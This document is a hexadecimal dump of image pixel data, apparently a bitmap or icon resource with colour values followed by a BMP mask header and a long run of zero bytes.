30FF8D4431FF8D4631FF8D4631FF8D4631FF8D4631FF8D4631FF8C4631FF8439
26FF94513AFF823722FF8B412AFF755C55FF502036FF38005DFF37169CFF6662
DFFFA7A7F3FFE9ECFFFFFFFFFFFFFFFFFFFFFFFFFFFF52ACC6FF64B1CBFF2888
A6FF6AB1C4FF66AEC7FFFFFFFFFF9E9E9EFF6B262FFF840B1CFF830F1FFF840F
21FF8B0412FF319ABEFF0CDFFFFF14A3DBFF14A8E1FF0FE1FFFF1187FEFF0F05
FEFF1010FEFF0E0DFEFF0B0AFFFF494A9EFF252525FF0B0B0BFF0F0F0FFF0F0F
0FFF0E0807FF17606EFF1DB2CCFF1B95A8FF1B8FA2FF186A76FF0F0200FF0F0F
0FFF101010FF0D0D0DFF0B0B0BFF4A4A4AFF704539FF89432DFF8A4430FF8B45
31FF8A4632FF8A4532FF8A4532FF8A4532FF8A4532FF8A4531FF803724FFD3AF
8FFFFFF8D1FFF4DCB8FF904831FF735B54FF8383B2FFEBEDFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFCFF8ED6F0FF57AFCCFF9FD2E2FF9CC8
DAFF5B97BAFFFFFFFFFFFFFFFFFF9E9E9EFF6B252FFF83091CFF820C1FFF840D
1FFF8C0312FF3296B9FF1560B6FF1869C5FF157BB7FF1861ADFF0F87FDFF1104
FEFF100DFEFF0E0BFEFF0B08FFFF49499EFF232323FF090909FF0C0C0CFF0D0D
0DFF0E0D0DFF0E0D0CFF112628FF1DA4BAFF122A2DFF1EB2CCFF0E0908FF0E0D
0DFF0D0D0DFF0B0B0BFF080808FF4A4A49FF70463AFF89422DFF884331FF8A44
32FF894531FF8B4733FF8A4632FF8B4733FF8B4733FF853F2BFFBF947BFFFFFB
DCFFFCEACCFFFFEFD1FFFAE4C7FF6E544EFFBEBFBBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA5CCD8FFD2DDE1FFFFFFFFFFF2EE
EFFF001C86FF7487A6FFFFFFFFFFA0A0A0FF6C242FFF890C20FF840D1FFF820E
20FF8C0414FF3397B7FF157DCBFF2388F8FF2375CEFF158FBCFF1187FFFF1104
FEFF100EFEFF0E0CFEFF0B09FFFF49499EFF212320FF090B00FF090B00FF0A0D
00FF0C0E01FF0B0300FF1FCCDFFF0B0000FF0A0000FF1A8894FF0E261DFF0C0B
00FF0B0D00FF090B00FF070800FF494948FF724A35FF8D4529FF894531FF8843
2FFF843C27FF873E23FF8A452AFF8A4632FF8B4733FF813822FFFEF4EFFFC2DB
FCFF90B9F3FFABC9F5FFFFFFFFFF7A6660FFBFBFBBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCFBFFE7E2DEFFDCD7D0FF0632
85FF093B95FF194394FFDEDBD3FF8F8F8FFF6D2530FF8A0E23FF8A1126FF8911
24FF8B0515FF3381A8FF1B4EB9FF226AC3FF2293FAFF1A6EC1FF1172EDFF1105
FFFF100EFEFF0E0CFEFF0B09FFFF49499EFF3D2FA9FF3922E9FF3A24E7FF3923
E5FF3520E3FF3519E2FF2E47DEFF2D68F2FF360DDFFF2A91F2FF3333E5FF341C
E3FF341EE3FF321CE4FF3019E9FF564F93FF472CB2FFA58DF4FF873D1EFF914E
33FFD9C1AEFFC5C0FFFF9577D4FF894225FF8B4733FF853A22FFB9C7E0FFDCEB
FBFF6DA1E8FFA7C5EEFF94C3FFFF806962FF7877B1FFDBDDFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF869AC3FF204691FF093C
9BFF093384FF355491FFEFEBE4FF939393FF6F2531FF8D0F27FF8B1229FF8D14
2BFF95081EFF36A8C6FF1B6ECEFF1B5EBAFF187CCEFF1885C5FF0F8DFFFF1003
FEFF0F0DFEFF0C0BFEFF0B09FFFF4A499EFF3C2F9EFF3922D7FF3B26D5FF3C28
D5FF3C28D5FF3921D1FF304FDCFF2898EAFF2F24D1FF24B9F1FF3116CFFF2F1C
D0FF2F1BD0FF2D19CEFF2E18D6FF564F8DFF4C2FA7FFAB8EE3FFDCC19DFFCAC0
FFFF9774D4FFA0685CFF8D4519FF894632FF894531FF823821FFE3E2E7FFD7E7
FDFF8EB7EFFF8FB8EEFFFFFFFFFF7B6661FF57202FFF4E0658FF3E1391FF6558
D9FF9E9CF4FFDADCFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF114196FF0235
87FF0A3A89FF002F77FFB2BDCEFFA5A4A2FF6F2632FF911028FF8F132CFF9016
2DFF970A20FF3BA0C0FF15E4FFFF1CCCF6FF1AC9F5FF17E2FFFF178AFEFF170A
FEFF1614FEFF1512FEFF110FFFFF4A499EFF3C2F9EFF3C26D8FF3E28D6FF3F2A
D6FF3F2BD6FF3F2BD6FF4022D4FF3C62E1FF31C1F4FF3B36D7FF3B25D2FF3B27
D3FF3C27D5FF3C26D5FF3E26DCFF564F8DFF4626A5FF6A39E8FF8965F1FF8961
E9FF8D69ECFF8D6AF7FF906DECFF975233FF94533FFF8A432DFFFBF8F7FFFFFC
F8FF91C4FFFFC6DBF5FFECFDFFFF7D6963FF632521FF811008FF801006FF7D0E
03FF6B0D28FF530D5CFF421893FF675BDAFF9D9EF4FFDADCFFFFFFFFFFFFDEE9
EBFF8CA7C4FF356099FF002D7DFFA5A2A0FF702533FF93102BFF91132DFF9215
2FFF990822FF3C9FC1FF16DBFFFF1AD6FFFF1AD6FFFF1ADCFFFF1A8CFDFF190A
FEFF1815FEFF1613FEFF120FFFFF49499EFF3D2F9EFF3F27D9FF4029D5FF412B
D7FF422CD7FF422CD7FF422CD7FF4226D5FF4320D4FF4229D6FF422CD7FF422C
D7FF412BD7FF4029D5FF3F26DCFF564F8DFF4828A5FF7342EBFF9977F3FF9A77
EDFF9571EBFF9673F5FF9979EBFF965434FF975743FF965543FF934F3CFF8C44
2FFFA4624AFF91482FFF934B32FF755F58FF632323FF7C0B0BFF7B0E0EFF7C10
10FF7D110EFF801009FF810E05FF7D0900FF6C0823FF520958FF431391FF6C5C
DBFFA9A3F8FFEDE9FFFFFFFFFFFFA1A19EFF6F2332FF950B28FF920E2BFF9210
2BFF9A041FFF3A9FC1FF0FDCFFFF14D6FFFF14D6FFFF14DDFFFF148AFEFF1406
FEFF1310FEFF110EFEFF0D0AFFFF48479CFF3C2F9EFF3F24DBFF3F27D7FF4027
D7FF4029D7FF4028D7FF4028D7FF412AD7FF412AD7FF4028D7FF4028D7FF4029
D7FF4028D7FF3F25D7FF4024DEFF554E8CFF4F2DA8FFB191E5FFA37186FFA88D
F9FFD1BFE4FFC2956BFF924A24FF995641FF995641FF995641FF995640FF9856
41FF965540FF96543FFF9A5741FF745C55FF692F2FFF913333FF8D3131FF8E33
33FF8E3333FF8E3333FF8E3333FF8E3333FF8F3330FF91322BFF923127FF902B
1FFF7B2B45FF642A72FF603499FF706B98FF762F3CFFA23349FFA03147FFA033
48FFA6283BFF56ADCCFF33E1FFFF36DCFFFF36DCFFFF36E2FFFF369BFFFF362A
FFFF3533FFFF3431FFFF3432FFFF5755ACFF4438A3FF5745DFFF5541DBFF5642
DBFF5642DBFF5643DBFF5643DBFF5643DBFF5643DBFF5643DBFF5643DBFF5642
DBFF5642DBFF5541DBFF5643DFFF605A9BFF5438ABFFB49AE5FF9E5F3FFFA76F
4EFFA173A0FFB3A0FBFFC6B1D5FF9D624BFFA06856FFA06856FFA06856FFA068
56FFA06756FFA16755FFA26957FF816861FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDCDCDCFFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C1C2FFC0C0C1FFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C2C1FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C1FFC0C0C0FFFFFFFFFFDCDCDCFFC2C1C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC3C3C3FFC0C0C0FFFFFFFFFF202021FF010306FF010306FF0104
08FF010300FF0103BCFF0103FFFF0103FFFF0103FFFF0100FFFF015B8DFF01C2
00FF01BA08FF01BA07FF01C105FF488249FF84562AFFB36110FFB16011FFB85B
07FF58A997FF1D8FFFFF4709D9FF00F6FFFFB45D0CFFB16011FFB06012FFB060
12FFB06111FFB16010FFB66310FF7D664EFF384CB8FF2C50FFFF2B4EFFFF2B4D
FFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4FFFFF2C4D
FFFF2B4EFFFF2B4EFFFF2D52FFFF54619DFF529A72FF61DA97FF5ED594FF5FD4
95FF5FD495FF60D495FF60D495FF50CF8AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9FFF212124FF06080BFF080A0EFF0A0C
0FFF0A0C02FF0A0CA7FF0A0CE7FF0A0CE1FF0A0CE1FF0A04EAFF0A587CFF0AB4
05FF09AC0FFF08AB0DFF06B00AFF49814AFF865728FFAC5D10FFAA5D10FFB158
06FF57A392FF1E8AF8FF4708D0FF00EEFFFFAF590BFFAC5D11FFAB5E13FFAB5E
13FFAA5E12FFAA5D11FFAE5D10FF80664DFF3841AEFF2E3AEAFF2E3CE8FF2F3D
E8FF303DE8FF303CE8FF303CE8FF313DECFF303DE9FF303CE8FF303CE8FF2E3D
E8FF2F3BE8FF2E3AE8FF2D3BEDFF565B98FF508D58FF54B660FF56B260FF57B4
61FF57B461FF57B461FF57B460FF47AC51FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9F9F9FFF242426FF08090BFF0B0C0EFF0C0D
10FF0D0E04FF0D0E9CFF0B0CD8FF0708D1FF0708D1FF0C06DBFF0D5675FF0DAD
06FF0CA610FF0AA40EFF08A80AFF497D4AFF865625FFAC5B0EFFAA5C10FFB157
05FF57A390FF1E88F7FF4707CFFF00EEFFFFAF590AFFAA5B0FFFA95D10FFA95D
10FFAA5B11FFA85A10FFAD5C0DFF80664BFF3838A5FF2D2CE0FF2F2EDCFF312E
DCFF312EDDFF3130DDFF3230E4FF242AABFF2F2ED8FF3130DEFF3130DEFF312E
DCFF302FDCFF2F2CDCFF2E2BE3FF565592FF4B803FFF4CA338FF4DA239FF4EA1
3AFF4FA339FF4FA339FF52AA2EFF42A219FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF242425FF09090AFF0C0C0DFF0E0E
0FFF0D0F04FF0D0D93FF0D0CCBFF4F51D5FF4B4CD5FF0500CCFF0E536EFF0DA8
06FF0E9F0FFF0C9F0DFF09A30AFF497A4AFF8D4D20FFB74F00FFB54F00FFBE4C
00FF5C9D86FF1C89F7FF4606CEFF00EDFFFFB94E00FFB75100FFB65200FFB652
00FFB65100FFB55000FFB95000FF846147FF382F9EFF2D1FD7FF2E1FD2FF3122
D5FF2E22CCFF2F22CEFF2C21C0FF10132DFF1A1756FF3123DAFF2C20BEFF3122
D7FF3120D4FF2F20D2FF2D1EDAFF55508EFF45742BFF429216FF439017FF4491
1AFF459119FF499C0BFF223EA6FF0300F5FF5859F3FF9B9CF7FFF7F7FEFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF252525FF0A0A0AFF0D0D0DFF0D0D
0DFF0E0E03FF05048EFF8AA2E6FF8285DEFF868CDFFF7180E3FF054668FF0FA6
05FF0E9D0EFF0C9C0CFF09A009FF4A7A4AFF2C9DA9FF19D1E6FF1CCFE4FF1FCE
E1FF12DEF5FF218AF0FF4405CEFF05F1FFFF1FCDE2FF1ECEE3FF1ECEE3FF1ECE
E3FF1DCFE4FF1BCFE4FF19D2E9FF4F8D94FF392C9DFF2D18D3FF301BD0FF311C
D3FF2C1BB4FF25178DFF20156AFF1B1550FF1F1569FF251886FF231783FF301E
CEFF311CD1FF2F1AD0FF2D18D6FF554E8CFF437023FF3F8C08FF3F8A0BFF408C
0DFF449301FF233F95FF0F0CF1FF348B00FFFFFFFFFFFFFFFFFFF6F6FEFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF262626FF0C0C0CFF0D0D0DFF0E0E
0EFF0C0B03FF37419AFF6975DEFF6F86D9FF3A4BCBFF8B98E8FF1D646EFF0DA3
05FF0E9D0EFF0C9E0CFF09A009FF4A7A4AFF3B43A8FF3440E4FF323EE1FF323E
DFFF3341DDFF392FD9FF3F16D3FF3442DCFF3240DFFF3240DFFF3240DFFF323F
DFFF333FDFFF303CDFFF2E3CE6FF555B94FF3A2C9DFF331DD4FF311CD0FF311E
D5FF281AA0FF1E1462FF1F166DFF0E0E0CFF120F1BFF231882FF1C1454FF311E
D0FF311DD1FF2F1BD1FF2D18D6FF564E8DFF457225FF44900CFF418C0DFF418C
0EFF479900FF0B04FFFF2F5B64FF3C9100FF9491FFFF2F2EF0FFEDEDFDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF252525FF0E0E0EFF111111FF1111
11FF0D0C03FF1B2492FF6273DCFF8993E1FF676FD7FF6979E1FF11566BFF0DA5
05FF0E9D0EFF0C9E0CFF09A009FF4A7A4AFF3A4BA9FF324DE8FF354FE6FF334E
E4FF314BE1FF3735DAFF3F15D2FF314DDFFF2F4BE3FF2F4BE3FF2F4BE3FF2F4B
E3FF2E4AE3FF2D49E3FF2B47EAFF555F94FF3A2E9DFF3620D5FF3723D3FF3622
D5FF2D1CB6FF1B155CFF0D0E00FF0F100EFF0F0F0DFF0D0E07FF221880FF311E
CFFF311DD1FF2F1BD1FF2C18D6FF564E8DFF457224FF47940EFF489211FF4791
11FF479900FF0904FFFF2D5967FF3C9100FF9895FFFF3636F1FFF5F5FDFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF252525FF0F0F0FFF121212FF1414
14FF151509FF0E0C92FF3D47D5FF4C49D0FF4747D0FF3B3DD5FF0A4C69FF0EA5
04FF0D9C0DFF0B9B0BFF0AA10AFF497A49FF3499A1FF2ACFDBFF2BCDD7FF2FCB
D5FF1EDEEFFF278FF1FF4809CEFF04F0FFFF28C4D3FF27C6D5FF27C7D6FF27C5
D6FF25C5D6FF24C6D5FF23CBDBFF518B91FF3C2F9EFF3922D7FF3B26D5FF3D28
DAFF31239BFF231B5CFF0E1003FF0D0E0AFF0D0E07FF0D0E05FF1E1568FF2D1C
C2FF301BD2FF2D19CEFF2E18D6FF554F8DFF457224FF4B950FFF4C9512FF4D95
14FF519D09FF2B4A93FF0E0BF6FF338900FFFFFFFFFFFFFFFEFFF4F4FEFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF262626FF101010FF131313FF1616
16FF17170BFF171797FF1211CDFF2121CCFF1515C7FF1009CFFF155970FF15AD
0CFF14A614FF12A612FF10AC10FF4A7A4AFF8E5220FFC06000FFBC5E01FFC55B
00FF63A78BFF2890F9FF5612D4FF04F1FFFFC25D00FFBC5D01FFBB5C03FFBB5C
03FFBC5D02FFBC5D00FFC36000FF846247FF3C2F9EFF3C26D8FF3E28D6FF3F2A
D9FF3827B2FF231D50FF282067FF201B3FFF281F6DFF1A1726FF271E71FF3A26
CEFF3C27D6FF3C26D5FF3E26DCFF564F8DFF467325FF4E9910FF4F9713FF5098
16FF519816FF56A107FF2F4B9AFF0D0BF9FF5B5BF5FF9F9EF7FFF9F9FEFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF242424FF101010FF131313FF1515
15FF17170BFF171798FF1717CFFF1515C9FF1717CAFF1710D2FF175E74FF16B1
0DFF15AA15FF13A913FF0FAD0FFF497A49FF875825FFB66A10FFB36A13FFBA65
09FF5FAB94FF2991F8FF5714D5FF03F1FFFFB9670FFFB46A15FFB46B17FFB46B
16FFB36B15FFB36913FFB96B0FFF806649FF3D2F9EFF3F27D9FF4029D5FF412B
DBFF3625A2FF432DDFFF271E5EFF3B28B6FF2C2177FF332594FF3D29C1FF3E2A
C0FF412BD8FF4029D5FF3F26DCFF564F8DFF477424FF529B10FF529913FF539A
15FF539A17FF539A16FF56A00BFF479B00FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9C9C9CFF222222FF0B0B0BFF0E0E0EFF1010
10FF111105FF111198FF1111D1FF1111CBFF1111CBFF1109D4FF115B71FF11B2
08FF10AB10FF0EAA0EFF0AAF0AFF487948FF885823FFB76B0BFFB5690EFFBD65
04FF5CAC91FF2491F9FF5710D5FF00F3FFFFBA670BFFB56A0FFFB56A11FFB56A
11FFB56A10FFB5690EFFBA6D0AFF7E6447FF3C2F9EFF3F24DBFF3F27D7FF4027
D7FF4129DBFF4029D8FF4229E0FF422ADBFF432ADFFF4229DDFF4029DAFF4029
D8FF4028D7FF3F25D7FF4024DEFF554E8CFF467322FF529C0BFF519B0EFF529A
10FF529C11FF529C11FF529C11FF439100FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9B9B9BFF2F2F2FFF323232FF303030FF3131
31FF323227FF3232A5FF3232D7FF3232D1FF3232D1FF322CD9FF327085FF32BA
2AFF31B431FF30B330FF30B630FF558955FF8E5E2FFFC18233FFBE7D31FFC578
29FF73B7A4FF439EFCFF6C2FDCFF21F7FFFFC4792DFFBF7C32FFBE7D33FFBE7D
33FFBE7D33FFBE7B31FFC08132FF8E7155FF4438A2FF5845DFFF5641DDFF5542
DDFF5743DDFF5743DDFF5743DDFF5743DDFF5743DDFF5743DDFF5743DDFF5742
DDFF5642DDFF5541DDFF5643E1FF615B9AFF4F792FFF67A832FF64A430FF65A5
31FF65A531FF65A531FF65A531FF559B1DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF424D3E000000000000003E000000
2800000040000000000400000100010000000000002000000000000000000000
000000000000000000000000FFFFFF0000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
